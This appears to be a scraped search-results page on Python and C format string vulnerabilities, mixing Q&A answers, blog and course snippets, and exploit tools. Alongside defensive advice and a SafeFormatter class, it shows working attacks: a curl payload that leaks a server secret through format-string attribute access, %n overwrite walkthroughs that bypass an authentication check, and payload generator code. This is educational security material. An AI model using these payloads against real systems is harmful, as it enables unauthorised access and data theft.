Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

Answer from rook on Stack Overflow
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
Podalirius
podalirius.net › en › articles › python-format-string-vulnerabilities
Python format string vulnerabilities · Podalirius
March 24, 2021 - We will try to inject payloads int format string placeholders of the template. I made a simple script taking arguments and executing API’s render function : ... #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys config = { 'API_KEY' : "212817d980b9a03add91e5814d02" } class API(object): def __init__(self, apikey): self.apikey = apikey def renderHTML(self, templateHTML, title, text): return (templateHTML.format(self=self, title=title, text=text)) if __name__ == '__main__': if len(sys.argv) != 3: print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT") else : a = API(config['API_KEY']) print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))
Top answer
1 of 3
9

Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

2 of 3
4

This simple Formatter override blocks users from accessing attributes. It still allows formatting and conversion of types.

from string import Formatter

class SafeFormatter(Formatter):
    def get_field(self, field_name, args, kwargs):
        if not str.isidentifier(field_name):
            raise ValueError(
                f"Invalid format string, {field_name!r} is not a valid identifier"
            )
        return super().get_field(field_name, args, kwargs)

Usage example:

>>> safe_formatter = SafeFormatter()
>>> safe_formatter.format("Number {num} is id={id}", num=1, id="hello")
'Number 1 is hello'
>>> safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
Traceback (most recent call last):
  File "<python-input-3>", line 1, in <module>
    safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[...omitted...]
  File "<python-input-0>", line 6, in get_field
    raise ValueError(
        f"Invalid format string, {field_name!r} is not a valid identifier"
    )
ValueError: Invalid format string, 'id.__class__' is not a valid identifier
>>> 
🌐
GeeksforGeeks
geeksforgeeks.org › vulnerability-in-str-format-in-python
Vulnerability in str.format() in Python | GeeksforGeeks
January 6, 2025 - fun Function: This function dynamically formats a string using the person object. Case 1 (Safe input):This is the expected, safe result, where the placeholders are replaced with valid values from the person object. Case 2(Malicious Input):This is a dangerous situation where a malicious user can exploit the str.format() method to retrieve sensitive data from the global context.
🌐
Armin Ronacher
lucumr.pocoo.org › 2016 › 12 › 29 › careful-with-str-format
Be Careful with Python’s New-Style String Format | Armin Ronacher's Thoughts and Writings
December 29, 2016 - However I think the general issue is quite severe and needs to be a discussed because most people are most likely not aware of how easy it is to exploit. Starting with Python 2.6 a new format string syntax landed inspired by .NET which is also the same syntax that is supported by Rust and some ...
🌐
SSRN
papers.ssrn.com › sol3 › Delivery.cfm › SSRN_ID3442177_code2682943.pdf
Exploiting Format Strings With Python by Dr Craig S Wright :: SSRN
August 28, 2019 - In this article we will look at format strings in the C and C++ programming languages. In particular, how these may be abused. The article progresses to discuss crafting attacks using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table) and prepares the reader for a follow-up article on exploiting the GOT and injecting shell code.
🌐
Wallarm
wallarm.com › what › format-string-vulnerability
✋Format String Vulnerability - Types, Examples, Prevention
June 26, 2025 - Format string attack is often found in C language programs, it refers to a bug found in the printf() function. Format string vulnerabilities in Python.
🌐
Stack Exchange
security.stackexchange.com › questions › 269949 › is-format-string-still-an-issue-in-python
Is format string still an issue in Python? - Information Security Stack Exchange
format string vulnerability is about using a format string (in your case Job ID: {}) which includes untrusted user input. Your example does not do this, i.e. your format string is a static string hard coded in the program.
Find elsewhere
🌐
O'Reilly
oreilly.com › library › view › python-penetration-testing › 9781784399771 › 9d8c1a55-3be3-4aaa-b64d-472981ad72ab.xhtml
Format string exploitation - Python Penetration Testing Cookbook [Book]
November 28, 2017 - The format string vulnerability occurs when the submitted data of an input string is evaluated as a command by the application. With the help of this method, the attacker could execute code, read the stack, and may cause a segmentation fault.
Author   Rejah Rehim
Published   2017
Pages   226
🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload)
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
🌐
GitHub
github.com › arthaud › formatstring
GitHub - arthaud/formatstring: Format string exploitation helper
Formatstring is a python 3 library to help the exploitation of format string vulnerabilities.
Starred by 45 users
Forked by 3 users
Languages   Python 100.0% | Python 100.0%
Top answer
1 of 2
1

The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:

  • Hit the wrong spot using the wrong number of %xs
  • Access the wrong address because of formatting errors
  • Get the above right but try to use the wrong address to begin with

I'm pretty sure you got the first point right:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

As we can see, I would need 5 times %x to get to the right location. I should verify that this will be the case for every consecutive time I run the program:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

Again, 5 times (likely -fno-stack-protector doing its job). The 6th occurence of %x will need to be replaced with %n. If you get the wrong number, you will likely encounter a segmentation fault.

Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth) tells us. I achieved that by using the following command:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

As you can see, auth's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin using Python.

But there's another problem I mentioned earlier: Formatting. I don't know a lot about Python 3 and how it handles Strings, but if I decide to print the following:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

I would expect the content of the start of our input string (in hexadecimal) to be ffffffff, instead I got bfc3bfc3 at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.

To get around that behavior, I used Python 2 instead, which seems to default to ASCII.

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

The only thing that's left is to print the right address in the correct byte order, followed by 5 times %x to move the stack pointer to the right position, followed by a %n to overwrite auth with something non-zero.

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

And we're in.

2 of 2
0

In the general flow, printf uses the fmt to determine the types of the arguments, and copies them to its output. Unless you have some knowledge of where the output, or output control structure is, you won't have much luck attempting to jam random stack strings or other such things into it.

If generating a SEGV is enough of an exploit you already have your answer; however there is one formatting option %n which goes in the other direction. %n writes out, through a pointer in the argument list, how many chars it has written so far. If we can find a stray pointer to &auth on the stack, we can make a format string which goes through this.

First up, what does the stack look like? Run your program, and input:

%p %p %p %p %p %p .....

and look at the values that come out. All you need is one lower than the &auth by less than the size of an int. Greater doesn't help. If you can find one, you can then set a string with the number of %p to move to that pointer, then a %n to over-write it. If you don't find any, you can probe further in the stack frame by starting with "%64p", which moves to arg #64 (base 1) then proceeds from there.

If your over-write misses (say you were off in address by one byte ), you can substitute in a %256.256d for one of the %p's to increase your #written.

Sadly, on my machine and compiler (macos, clang), I couldn't find a value; and I tried to induce some by shifting environment variables, etc, but to no avail.

🌐
GitHub
github.com › topics › format-string-attack
format-string-attack · GitHub Topics · GitHub
wrapper exploit printf pwn ctf ... format-string-attack return-oriented-programming ... Python script that can be used to craft a string to perform a format string attack in a 32bit system....
🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - $ python >>> 0x2250 - 12 # We've already written 12 bytes ("sh;#AAAABBBB"). 8772 >>> 0x555c - 0x2250 # We've already written 0x2250 bytes. 13068 · Now we plug these values into our payload, change the %hp to %hn. Note that when we change the 000x to 772, we leave the leading 0 so that our string stays the same length. Here is the final exploit:
🌐
Samsclass
samsclass.info › 127 › proj › p6a-fs.htm
Proj 6: Exploiting a Format String Vulnerability (20 pts.)
When printf executes with a %n format string, it prints out a 32-bit value equal to the number of bytes printed so far. Evidently the program had printed 0x00000012 bytes, or 18 bytes in base 10. The simplest way to write an arbitrary 32-bit word is to perform four writes, each targeting an address one byte larger. That will build the word we want, one byte at a time. ... #!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' form = '%x%x%x%n%x%n%x%n%x%n' print w1 + w2 + w3 + w4 + form
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - gdb-peda$ b *0x00400665 ; Break @printf() Breakpoint 1 at 0x400665 gdb-peda$ b *0x0040066a ; Break right after printf() Breakpoint 2 at 0x40066a gdb-peda$ run < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') Starting program: /home/user/format1 < <(python -c 'print "\xac\xf6\xff\xbf" + "%7$n"') [-------------------------------------code-------------------------------------] 0x40065e <main+62>: sub esp,0xc 0x400661 <main+65>: lea eax,[ebp-0x4c] 0x400664 <main+68>: push eax => 0x400665 <main+69>: call 0x400450 <printf@plt> 0x40066a <main+74>: add esp,0x10 0x40066d <main+77>: cmp DWORD PTR [ebp-0xc],0xcafebabe 0x400674 <main+84>: jne 0x40068f <main+111> 0x400676 <main+86>: sub esp,0xc Breakpoint 1, 0x00400665 in main () gdb-peda$ x/x 0xbffff6ac ; Check the value @ 0xbffff6ac 0xbffff6ac: 0xdeadc0de gdb-peda$ continue Continuing.
Top answer
1 of 4
22

Python's f-strings are actually safer. Use them!


String formatting may be dangerous when a format string depends on untrusted data. So, when using str.format() or %-formatting, it's important to use static format strings, or to sanitize untrusted parts before applying the formatter function. In contrast, f-strings aren't actually plain strings, but more like syntactic sugar for concatenating strings and expressions. As such, an f-string's format is predetermined and doesn't allow dynamic (potentially untrusted) parts in the first place.

Old-style formatting with str.format()

>>> data_str = 'bob'
>>> format_str = 'hello {name}!'
>>> format_str.format(name=data_str)
'hello bob!'

Here, your Python interpreter doesn't know the difference between a data string and a format string. It just calls a function, str.format(), which runs a replacement algorithm on the format string value at the moment of execution. So, expectedly, the format is just a plain string with curly braces in it:

>>> import dis
>>> dis.dis("'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello {name}!')
              2 RETURN_VALUE

New-style formatting with f-strings

>>> data_str = 'bob'
>>> f'hello {data_str}!'
'hello bob!'

Here, f'hello {data_str}!' may look like a string constant, but it's not. The interpreter doesn't parse the part between {...} as part of the string that may be expanded later, but as a separate expression:

>>> dis.dis("f'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello ')
              2 LOAD_NAME                0 (name)
              4 FORMAT_VALUE             0
              6 LOAD_CONST               1 ('!')
              8 BUILD_STRING             3
             10 RETURN_VALUE

So, think of "hi {sys.argv[1]}" as (approximately) syntactical sugar for "hi " + sys.argv[1]. At run time, the interpreter doesn't even really know or care that you used an f-string. It just sees instructions to build a string from a the constant "hi " and the formatted value of sys.argv[1].

Vulnerable example

Here is a sample web app which uses str.format() in a vulnerable way:

from http.server import HTTPServer, BaseHTTPRequestHandler

secret = 'abc123'

class Handler(BaseHTTPRequestHandler):
    name = 'funtimes'
    msg = 'welcome to {site.name}'
    def do_GET(self):
        res = ('<title>' + self.path + '</title>\n' + self.msg).format(site=self)
        self.send_response(200)
        self.send_header('content-type', 'text/html')
        self.end_headers()
        self.wfile.write(res.encode())

HTTPServer(('localhost', 8888), Handler).serve_forever()
$ python3 example.py

$ curl 'http://localhost:8888/test'
<title>/test</title>
welcome to funtimes

Attack

When the res string is built, it usesself.path as part of the format string. Since self.path is user-controlled, we can use it to alter the format string and e.g. exfiltrate the global variable secret:

$ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}'
<title>/XXXabc123</title>
welcome to funtimes
2 of 4
4

If this basic language feature were this flawed, it probably wouldn't be a feature at all. As long as the contents of the format string are controlled by the programmer at development time, there is nothing that a user can do to abuse them.

The contents of the curly braces are evaluated, but the result of that evaluation is not evaluated again (i.e. sys.argv[1] is evaluated to "1+1", but is not evaluated again, like you have seen).

The problem arises when a user is able to to inject data into a string before it is formatted; see this challenge example. While this is not for an f-string, it is a good demonstration of the attacks that are possible if the user is allowed to control the formatting.

🌐
GitHub
github.com › adeptex › CTF › blob › master › fstring-injection.md
CTF/fstring-injection.md at master · adeptex/CTF
Researching f-string revealed that it was likely a new Python format string format (introduced in version 3.6). This fact can be confirmed by registering a valid config entry and then using 3.
Author   adeptex
🌐
Fundacion-sadosky
fundacion-sadosky.github.io › guia-escritura-exploits › format-string › 5-practica.html
Ataque Format String · Guía de exploits
Así logramos consistencia en las direcciones de memoria sin importar que modifiquemos los bytes de longitud del/los string/s de entrada. Creamos el archivo exploit.py para probar el padding: #! /usr/bin/env python import sys exploit= "BBBB" ; acá puede ir cualquier cosa padding = "A" * (100000 - len(exploit)) if sys.argv[1] == "1": sys.stdout.write(exploit) elif sys.argv[1] == "2": sys.stdout.write(padding)
🌐
Comparitech
comparitech.com › home › blog › information security › format string attacks
What are format string attacks? (+ how to prevent them)
September 28, 2023 - Most format string attacks exploit the C programming language. But other programming languages, such as Python, can also be vulnerable to format string attacks if its format() functions are not properly configured.